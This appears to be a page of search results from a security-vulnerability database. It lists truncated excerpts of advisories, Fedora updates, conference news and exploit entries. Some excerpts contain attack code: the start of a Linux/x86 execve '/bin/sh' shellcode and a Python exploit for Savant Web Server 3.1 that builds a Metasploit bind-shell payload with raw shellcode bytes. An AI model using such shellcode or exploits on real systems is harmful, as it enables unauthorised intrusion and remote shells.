5475 matches found
Cisco Access Control Server Representational State Transfer Application Programming Interface Denial of Service Vulnerability
A vulnerability in the Representational State Transfer REST application programming interface API of the Cisco Access Control Server ACS could allow an unauthenticated, remote attacker to cause a denial of service DoS condition. The vulnerability is due to how the ACS REST API handles increased...
linux/x86 execve "/bin/sh" shellcode - 26 bytes
/ ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x8664 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global start start: xor ecx,ecx mul ecx ;execve"/bin/sh", NULL, NULL mov al,11 jmp shell shellret: pop ebx push ecx push ebx pop ebx int...
Третья конференция r0 Crew
Всем доброго времени суток! Рады сообщить, что 23.05.2015 состоится третья конференция форума reverse4you.org R0-Crew Conference. Основная тематика конференции: Реверс-инжиниринг. Низкоуровневое программирование. Поиск уязвимостей. Место проведения осталось прежним, это учебный центр «Славутич»...
[SECURITY] Fedora 21 Update: ruby-2.1.6-27.fc21
Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks as in Perl. It is simple, straight-forward, and extensible...
RSA Conference Chris Hoff Reuben Paul Keynote
SAN FRANCISCO – When it comes to the future development of secure software, there’s really only one “next generation” that matters. That’s why today when the covers were pulled back on a seven-foot-tall server rack wheeled out on stage during Chris Hoff’s RSA Conference keynote, those in the...
Oracle Java SE Multiple Vulnerabilities (April 2015 CPU) (Unix) (FREAK)
The version of Oracle formerly Sun Java SE or Java for Business installed on the remote host is prior to 8 Update 45, 7 Update 79, 6 Update 95, or 5 Update 85. It is, therefore, affected by security vulnerabilities in the following components : - 2D - Beans - Deployment - Hotspot - JavaFX - JCE -...
Return-into-libc attack and Defense-bug warning-the black bar safety net
This article first analyzes the return-into-libc attack principle, were introduced in different platforms for the traditional return-into-libc attack of the experimental process and results. Then, this paper further introduces and explains the return-oriented programming attacks, this attack can...
[SECURITY] Fedora 21 Update: chicken-4.9.0.1-3.fc21
CHICKEN is a compiler for the Scheme programming language. CHICKEN produces portable, efficient C, supports almost all of the R5RS Scheme language standard, and includes many enhancements and extensions...
[SECURITY] Fedora 20 Update: chicken-4.9.0.1-3.fc20
CHICKEN is a compiler for the Scheme programming language. CHICKEN produces portable, efficient C, supports almost all of the R5RS Scheme language standard, and includes many enhancements and extensions...
Python: Multiple vulnerabilities
Background Python is an interpreted, interactive, object-oriented programming language. Description Multiple vulnerabilities have been discovered in Python. Please review the CVE identifiers referenced below for details. Impact A context-dependent attacker may be able to execute arbitrary code or...
VPN daemon written in Go: GoVPN
GoVPN is simple secure virtual private network daemon. It uses Diffie-Hellman Encrypted Key Exchange DH-EKE for mutual zero-knowledge peers authentication and authenticated encrypted data transport. It is written entirely in Go programming language . All packets captured on a network interface ar...
foreman-proxy: failure to verify SSL certificates
It was discovered that foreman-proxy, when running in SSL-secured mode, did not correctly verify SSL client certificates. This could permit any client with access to the API to make requests and perform actions otherwise restricted...
Python-Pickle-Class-Constructor
Python is an open source, object oriented programming language. The Python Pickle module is provided to convert object variables into a serialized form "pickling", and later recover the data back into an object hierarchy "unpickling". A vulnerability has been reported in the Pickle implementation...
Oracle Java SE Multiple Vulnerabilities (January 2015 CPU) (POODLE)
The version of Oracle Java SE or Java for Business installed on the remote host is prior to 8 Update 31, 7 Update 75, 6 Update 91, or 5 Update 81. It is, therefore, affected by security vulnerabilities in the following components : - 2D - Deployment - Hotspot - Install - JAX-WS - JSSE - Libraries...
Cisco WebEx Meetings Server Authentication Bypass Vulnerability
Cisco WebEx Meetings are web conferencing solutions. An authentication bypass vulnerability in the play/modules component in Cisco WebEx Meetings Server allows remote attackers to gain administrator privileges via a crafted API request...
Savant-Web-Server-3.1
import socket targetaddress="10.10.10.129" targetport=80 buffer2 = "R0cX" + "R0cX" msfpayload windows/shellbindtcp LPORT=4444 R | msfencode -e x86/shikataganai -c 4 -t c buffer2 += "\xbd\xec\x37\x93\x4b\xdb\xcf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"...
HP-Data-Protector-A.06.20
This script allows to execute a command with an arbitrary number of arguments. The trick calls 'perl.exe' interpreter installed with HP Data Protector inside the directory installpath/bin/. The main goal of the script is to bypass the limitation of executing only a single command without any...
[SECURITY] Fedora 21 Update: erlang-17.4-1.fc21
Erlang is a general-purpose programming language and runtime environment. Erlang has built-in support for concurrency, distribution and fault tolerance. Erlang is used in several large telecommunication systems from Ericsson...
[SECURITY] Fedora 19 Update: python-2.7.5-15.fc19
Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. Python includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as t...